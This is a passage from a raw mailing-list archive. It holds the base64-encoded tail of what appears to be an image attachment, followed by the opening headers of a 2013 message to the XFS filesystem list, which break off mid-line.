KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKAI4IVgiEaZ2jPX65qSiihu+oBRRRQAUUUUAFFFFABRRRQAhGQ RkjI6iqSDz9Ud8fLCu0HPf8AzmrNzMILd5TztHA9+1RadD5VoufvP85/GtI6RbEWqKKKzGFFFFAB RRRQAUUUUAZmsncLeLbnfJ1PTpj+tTWpJ1O+ySQBGB7cE/1qPUsfa7PIJ+fjH+8tWLZQLq7Pq6jp /siui/7v5fqiF8TM6S2tbm+mdrxBJvA2MmAO2OevTtT10mdAxiv3BPZQVBP4GppNGt5JGdpJcsxY jI7/AIVG+hxbcRysDg8uob/Cr9otlL8BcvWxHZW0q6r+/lZ3jQ8hiR2wCT9TxVp4WUajKobdIuFG OuE4x+JNLp1lJZvNvkEittCnoeM9fzqSyAD3WHLjzzyTn+Ecfh0/ConO7bT7DirLUqWN1HDouUdN 6BgAT3JOM/WmWMLx6E4YYM2evYHAz+XNXm060aTe0IJJ3Hk4J+nSkvbWS5aNllCiPnaQcMfzp+0i 3p1dxNSsU4be7NksKrGUf5lOcAdxnjPvTtVjWHTo7eLnb0HqBxn8yKv2kbw2sccjBnVcEgYFUtRe Xz1K2sr+WQUZBkMMgnp05FEZuVQTjyouSWsbxwp8yrCysoB9OgrO1KdIbv7RsR2iwuG65wSMf99D 8q1yQoJJAA5JNYtwFuUumyVYDcvzY3jPX8gPz/GlR1eu3+YVHa1i3p9j9n3XV0Qbh8sxJ4Wo42uN Q3TRTGJEPyAd/r+nrVl5DLpLSHlmhJOPXbREr22mgZG9E+XPr2H8qOZ6t77Df4D7GYz2quxBcEqT jGcd/wCtQ2GofallZ0WMRgHO7jBz/hUUDfZdFeZF2M25x9SeDz+FZ0NwhiniiZw0uxdxbGAM5/w6 96pUlLmsuouZq1zatL+K7ZlQOrKAcMMZFSxXMEwJimR8DJwwOKq6QuyyZioVWcnAORwAD/I1lWsk MelTvKoMspMak8nAUf5/Kl7JSbS6WKUna7OkorIto3i0eR7UM0kxOADwMnGR6cc1V+1XyeZFFcFj ADv3AHoQCQTz3PXsPwqVQ5m7PYOY07SN4r+7Uq/lMQ6k9Mnr+v8AKr1UrzUDa2kU5hLeYQCN2NuR mkg1W3nmWNd6lsYJxjJ7cHrUyhOXvW/pDTSL1FNLorqhZQzfdBPJ+lOrIoztD3rZPFJwYpWTH6/z JqCW7+xXsjLprb5H2+ZuPz+mOO/oKm0lm8++Ug7BOSD75Of5CotRe0mn2XV9iJT/AKpFzhh6kZrr WtV3W/r+hPQa+uvHkPZlWHVWfBH4YrWhk82FJCpXcoO09qzbe60i2GYWVe+drE/qM1po6yRq6HKs AQfUVnVSW0bArnPXwC6U8ak7Y7tkUH+EYPHvXR1zl9n7Bcf9fzfyNdDGS0aEjBIBI9Kqv8K+f6At x1FFFcxQUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUU AFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQA UUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABR RRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFF FABRSA5paAKF+TNPBaDo53P9B/k1fqlZfvrm4uD0LbF+g/yKu1c9LR7AFFFFQAUUUUAFFFFABRRR QBnauoCwzYy0bHbxnnaT/SpbVv8AT71fRkPT/Z/+tTNZ3CyEi/8ALNwT7jp/WktpAdTZlGBcQJKc 9Rjj+tdC1p/f+aZH2jQooquL2Bp1hV9zszLgDoR1zWCTexZYrO0tz9ovoiuNs5bPrn/9X61o1mov k6/ISwxNECB7+n/jprSGqkvITNKiiishkN4sjWkohYrJtO0jrmm2E5ubKKU53MvJPcjg/rVis+0I tb6a0OArnzY/fPUf59K0jrFrtqLqaHWqrafbNHIgj2iQYO09Oc8enNWqKhSa2YNJlaGxihtpIFZy smdxY5PIxVOPT7wKIGuEFsCeEHOPy/rWrRVqrJXE4pmXrB8nThBHG2wgDdgkKBjGT78AVlzxxxyy iMeWYWwPm5Y5/wAMmuopkkUcoxIiuM5wwzWlOvyK1hShczXkSDw9lW3b48Zz1Ldf1JrJNmbfTVu5 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 4GTwKz5tU3yGCwj+0S9z/CPxqowctguWL29isot8p5PCqOpqrbW013ci8vVKBT+6hI4A9T7/AOFS WunbJPPu5PtFx1BPRfoPr/kVJeX8dqwj2vJMwysajk9f8K1Wnuw1fcn1LdRzxLPC8TlgrjBKnBog d5IVeSMxOeqE5xUlY6plGTa6KLe683zmwjApt4JHoa1WYIpZiAoGST2payNTuVuJDaRyBY0+a4f+ 6Aeg9/8A63vWt5Vpai2KNxdtJJLfrxu/cwgnBXjluP8AOW9q2dLs/sdoFZQJW5fHP0H4VnabCb68 F0yhYIPliX6dPyzn61u1pXnZci/ryFFdQooorlKCiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKp29pNDeTXDTRt52N6iMjoMDHzVcooAz20 2RZ5WtrySCOY7pEC5ye5BPTNSi0kWRdswEUYHkxlPuEKV5Ockcn/ABq3RQBUsrSS1aXdMjrK5kIC FSGP4ninrDcCGJTdZdXy7+WPnHpjt9farFFABVJ7A+VJBBKIreQncm3JAPUKc4AP07mrtFACKoRQ qgKoGAAOAKr21qbZbjbIC0srSAleFJ7deas0UAZg0++Cuo1MjeSWIhGST75zWkqhVCjOAMcnJ/Ol ooAglgYzedDIEk27DuBZSM56ZHI9fc0+CFbeFY0LEDuxySTyST9akooAp29pNDeTXDTRt52N6iMj oMDHzVcoooAoTWd49y00d+I8jCr5IO0enJ/P1/KlGnvsidrhmuYnLCVhkHPUbc9MccYq9RQBWhtS ty9zNIJJmXYCq7Qq9cYye9WaKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKK KKACiiigArJ1e1eORdQt+JYsFlx94fh+vtWtRVQk4u4Myra4jTfdwZaCTDToCSYm7nHcev51osod TJFs8xkwsmM/T8KzLm2k02c3lkMxH/Wwjpj1H+ePpUkEy20YlgPm2bsWYKOYc89B29u1byipe9H+ vL+tyR+fsUYQES3s3JzzuP8AgO3/AOs1HFbPdxN5c5SBz+8KjJkPfk9u39K0CqyAyRld7JhZAAeO 31FMhRLKyVWYBYl+Zv5mo59NNxcupBNKulwQqMtEMgljlv8AP/1qtRSx3EIkjO+Nuhx1qnar9tnF 5KpCKSIkPb3/AE/zgVoVM7LTr1HEoPpoSQS2kr27jsOVI54wenX/AOtSG4vrYYntxOowN8XU/hjr +QrQqrc3yW0qxvHIdy5DDAX8yR/kinGUpaNXBpLUYmq2rPsdmiffs2uOc/hVqOaKbPlSI+Ou1gcV DDe21ywRHBY8hSMe/wCP4Uy60u1unZ5EIkbGXVjn/ChqN7NNf18hplyozNEr7DKgbGdpYZx/kVVf SraSV5H3uzrt+Y5xxjI9+Kami2KqAY2cjuznJ/KklT6v8P8AghqTS6jaRKrNOpViQCvzDjHp9RVb +1ZLhR9is5ZCc4ZxhR+P/wBcVcisraFVCQINhypIyQfqanp3gtlf1DUzZNOnupf9Lut8IbIjRduf 8/jV6KGK3j2RIqIPT+Zqv/aMbXJgijkkYMFYqOF5wc/So9T8+OKZxmWBomVkAGUOOG9x/LrTtOTU ZaC0HXt5LDcwW8SoGl/jk+79PrVGZp54/tOzZeWbfOOm5f8APv6+oqdIf7Q0SEKNkir8hz0K8frj 9ak0dN0Ek0pdp5GIl3juOgx9K0XLCN+q0/rysLqXLadbm3SZOjjP09qlqpY2RsmlVJAYXbcqbfu/ jnmnXF1sfyIAJLg9Fzwvu3oP51g4pytHYr1Ir+7kjkS1thm5lHBPRR6/5/8A146W4upBZWZzCpDS TbfvHHU/qAKlmSQztZWsnnTyf8fE3P5ewHf8vatixs47KDy05J5Zj1Y108yox03/AK1/yFuSwQpb wJFGPlQYFSUUVyN31ZQUUUUgCiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKA CiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAOtZMthLZX IuNP+4fvxEnH1961qKuE3HYTVyhEdoMthh4wSph3YUnPVT/kc1ZR4ryA8ZU8Mp4Kn0Poar3OnqzG a1xDcbt2/wBarmZC4+1u1vMowsinax57joRnnuOvStLKWq/4JN7aM1VUKoVQAAMADtUN3b/aYgvm NGyncrL2OP8A69RC6khwJ0LoRxNEMj8QOR+tWkZXUMjBlPcHIrO0ou5Wj0I7cTqr+eysdx2lR2qp L++1mJQNyxLkg9Bwf8VrQJABJ6CsmyuImuby8kK7QMqw6lenT/gI/Orhd3l/WpMuiDT1E2sXcxAJ jJXp07Ag/galjkvpnnMDx4SUpiTpwfQD0x3pdGiVIHcfeYgHHTgD3PvzUekskihvPw24kRhl+bjG TgZJ+taStdvtYS6FjULi5tkMsQiMSgbtwJOc/h7Uk8tzFprSO8YlyMFOgBIHepNSUvYTYAOBuwfY 5/pTPL8/RhHgMWgGO2Tjj9azjblTa6jd7kltFcI26e48zK427QAD61iriKNmUg3kM+D8xyw6ceua v6U1nDAhR1WWfAZS3O70x2/+uKdHGE16bKo3mRCQEjlcfLxWsXyylf8AyE1dIgvDPZasr24XF0Ap 3/d3Zx2/D8zV6yuDcxyRzqolQlXUcjGSP6Gl1C0+2QBFco6sGVh2NFjZC0DkyNJJJy7t3/zms5Sj Kmr7la3IdKWSJrqJ0cKspKu/8Q6f0H51bjgiikkkjQK0hy5Heo5b2NXMUQaaYfwIM4+p6Cqd5NGr D7dMG+bH2eEjHtuyRnt6Ci0pu+1w0SJZryS4LJZEKiH95cNgqoxnj1/z9azkLXIktdNDbScyzufm f6n0/X9atra3OoeWZybe3UcQqMH2/p+XTvWlDDHBGEiRUUdgKvnjTVlv/W/cNyOys47KARpyTyzH qTViiiuZtyd2UFFFFIAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACii igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKZJG kq4dQQOR6g+o9DT6KNgMn+zrmyLvYTswJz5TdO2fr09vrQLi387Msb2s+wvvRSDjqcgjnv2I961q jmhjnjKSorr6EVsqt/iJcSCOS5CKymK7jOBujO0+59D+Ypjz2YR0uIDDv4YPHjPvkcdxzmm/2VHE zvayyQswxwcgcY+v69acqajHNw0MkO5Rg53AdyM/nyTT917P9P8AgBqT2i26xH7MysmeSrbucDv+ VRrptorowiIKHK/O3HOfX1qheHE8iPpHnfNnzIwRu79QOv8A9eoV1Kz8kApeRnGMJMSB9Mn+lUqc 94t/18wujedFkjZHGVYEEe1JDEsMKxJnaowM1gG9tcf8fGpf99intdWsTgNLfzKRkZk4YfgaPYSt YOY1YrGztgWWGNdp3bm5x+J6UrahaKyqJ1dm6CP5z+mayIngbEsGlPKDwNzM38wR/wDqq3GNUMfl xw29soHBA6fQDP8AKiVP+Z/e/wDhwv2LX2i4lA8i1K5B+aY7QPTgZP8AKqc00G11vLtpyM5ii+VR 7Z749z+tSnTJbgsby7kcNyY04UfnVq3sba2wY4l3D+I8t0x1NLmhHb8P83+gasoR/bLmMx28C2UL dTjaR6/Xj2H19bdnpsFphhl5B/G39P8AOauUVEqrastENIKKKKyGFFFFABRRRQAUUUUAFFFFABRR RQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFF ABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUA FFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAU UUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRR RQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFNdFkUq6hlPUEZFOooAQ gEEEAg9Qe9KOBgUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQ AUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAB RRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFF FFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUU UAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQ AUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAB RRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFF FFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUU UAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQ AUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAB RRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFF FFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUU UAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQ AUUUUAf/2Q== ------=_NextPart_000_052C_01CEF540.B6738860-- From david@fromorbit.com Mon Dec 9 17:55:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4E66B7FA7 for ; Mon, 9 Dec 2013 17:55:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3830C8F8033 for ; Mon, 9 Dec 2013 15:55:29 -0800 (PST) X-ASG-Debug-ID: 